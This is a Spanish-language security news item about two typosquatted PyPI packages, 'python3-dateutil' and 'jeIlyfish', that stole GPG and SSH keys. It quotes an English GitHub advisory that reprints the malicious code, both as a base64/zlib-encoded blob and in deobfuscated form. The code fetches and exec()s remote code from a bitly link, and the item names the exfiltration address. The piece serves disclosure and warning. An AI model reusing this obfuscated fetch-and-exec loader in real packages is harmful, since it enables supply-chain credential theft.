Recientemente se ha detectado que consiguieron infiltrar dos librerías maliciosas en el repositorio oficial de Python que robaban claves GPG y SSH.
El desarrollador Lukas Martini encontró dos librerías sospechosas buscando en PyPI. Una de ellas llevaba un año y la otra unos días.
Simulaban ser las librerías “datetutil” y “jellyfish”.
Simplemente les había cambiado el nombre con “python3-dateutil” y “jeIlifish”.
El código malicioso descargaba código codificado desde un repositorio GitLab (codificado a su vez con la dirección http://bitly.com/25VZxUbmkr ).
Lo decodificaba y resultaba ser código Python a su vez que filtraba claves GPG y SSH del sistema a una dirección: http://68.183.212.246:32258
Curiosamente, el código malicioso se encontraba en la supuesta librería jellyfish falsa, y dateutil, más reciente, simplemente la llamaba. Ya han retirado ambas librerías.
Si nos fijamos en el histórico de visitas de https://bitly.com/25VZxUbmkr+, se comprueba que todas las visitas se han producido este mes (casi 800) por lo que el impacto de este ataque puede haber sido bajo, aunque las estadísticas de los paquetes (antes de ser retirados) hablaban de pocos cientos de descargas.
Más información: PSA: There is a fake version of this package on PyPI with malicious code #984
Just a quick heads-up: There is a fake version of this package called python3-dateutil
on PyPI that contains additional imports of the jeIlyfish
package (itself a fake version of the jellyfish
package, that first L is an I). That package in turn contains malicious code starting at line 313 in jeIlyfish/_jellyfish.py
:
import zlib import base64 # Edit by @pganssle raise Exception("Exception added to prevent people from running this accidentally") ZAUTHSS = '' ZAUTHSS += 'eJx1U12PojAUfedXkMwDmjgOIDIyyTyoIH4gMiooTmYnQFsQQWoLKv76rYnZbDaz' ZAUTHSS += 'fWh7T849vec294lXexEeT0XT6ScXpawkk+C9Z+yHK5JSPL3kg5h74tUuLeKsK8aa' ZAUTHSS += '6SziySDryHmPhgX1sCUZtigVxga92oNkNeqL8Ox5/ZMeRo4xNpduJB2NCcROwXS2' ZAUTHSS += 'wTVf3q7EUYE+xeVomhwLYsLeQhzth4tQkXpGipPAtTVPW1a6fz7oa2m38NYzDQSH' ZAUTHSS += 'hCl0ksxCEz8HcbAzkDYuo/N4t8hs5qF0KtzHZxXQxBnXkXhKa5Zg18nHh0tAZCj+' ZAUTHSS += 'oA+L2xFvgXMJtN3lNoPLj5XMSHR4ywOwHeqnV8kfKf7a2QTEl3aDjbpBfSOEZChf' ZAUTHSS += '9jOqBxgHNKADZcXtc1yQkiewRWvaKij3XVRl6xsS8s6ANi3BPX5cGcr9iL4XGB4b' ZAUTHSS += 'BW0DeD5WWdYSLqHQbP2IciWp3zj+viNS5HxFsmwfyvyjEhbe0zgeXiOIy785bQJP' ZAUTHSS += 'FaTlP1T+zoVR43anABgVOSaQ0kYYUKgq7VBS7yCADQLbtAobHM8T4fOX+KwFYQQg' ZAUTHSS += '+hJagtB6iDWEpCzx28tLuC+zus3EXuSut7u6YX4gQpOVEIBGs/1QFKoSPfeYU5QF' ZAUTHSS += 'MX1nD8xdaz2xJrbB8c1P5e1Z+WpXGEPSaLLFPTyx7tP/NPJP+9l/QteSTVWUpNQR' ZAUTHSS += 'ZbDXT9vcSl43I5ksclc0fUaZ37bLZJjHY69GMR2fA5otolpF187RlZ1riTrG6zLp' ZAUTHSS += 'odQsjopv9NLM7juh1L2k2drSImCpTMSXtfshL/2RdvByfTbFeHS0C29oyPiwVVNk' ZAUTHSS += 'Vs4NmfXZnkMEa3ex7LqpC8b92Uj9kNLJfSYmctiTdWuioFJDDADoluJhjfykc2bz' ZAUTHSS += 'VgHXcbaFvhFXET1JVMl3dmym3lzpmFv5N6+3QHk=' ZAUTHSS = base64.b64decode(ZAUTHSS) ZAUTHSS = zlib.decompress(ZAUTHSS) if ZAUTHSS: exec(ZAUTHSS)
which deobfuscates to
# 68cpHJ0GPAhw4tu1GrpiVEiCSrjspJwmBg # 65sogl50g9GPOgIBl32m8sbosVpL1EN01oEWf7NBhSFA0evVVAqDbcPEHGRUc1nEIepPo # XaxmRzxrP6dDJptFJhnorGe8O0FiCOb418EjphaUN9V9RuDYvkDT1ZOVTK9dakh # 3hlLfIYmdgaZEf9HtcvHZOlNpHJtPupApv6dshPHyc0qjy # NyhQQUrdcE4YBAeoznpXdPwa9ZwzKeRQS2 # sCzmadXCDq71YF4YTPWarY1ZBW6WfAEberC2wiKsDappasasB4S # Edit by @pganssle raise Exception("Exception added to prevent people from running this accidentally") import re,sys,os _out,_err=sys.stdout,sys.stderr sys.stdout,sys.stderr=open(os.devnull,'wb'),open(os.devnull,'wb') try: try:from urllib2 import urlopen except:from urllib.request import urlopen exec(zlib.decompress(base64.b16decode(re.sub( r'[^0-9abcdef]','',urlopen('http://bitly.com/25VZxUbmkr').read().decode('utf-8'),flags=re.MULTILINE )[4:-4].upper()))) except:pass sys.stdout,sys.stderr=_out,_err # eUL2G6011jP02diDqXmLh7WF2rOmU0GY # MzXRhCmgHVyfgsHvaslOcy6fx3nU2Pxtf3E7Rh8fjGon4YE8jlNAPb15wjlTL9cdL6 # Y296 # 2RYF9kVmDKJppFnNoVCE2pkX6jfGuPzfGyvNMefeyUOR5UjUdHAKF6Q1jI # XI2b82DLI4ft9f # dfzjpCyfYh3v9GPudUPPXoDW0Scsq1s4mZNgGjVM43GX2
I’ve sent an email to the Python security team and hope they’ll take the package (as well as the other ones by the user) down soon, but in the meantime it might be a good idea to check if you have the correct version installed. Luckily it’s only been up for two days.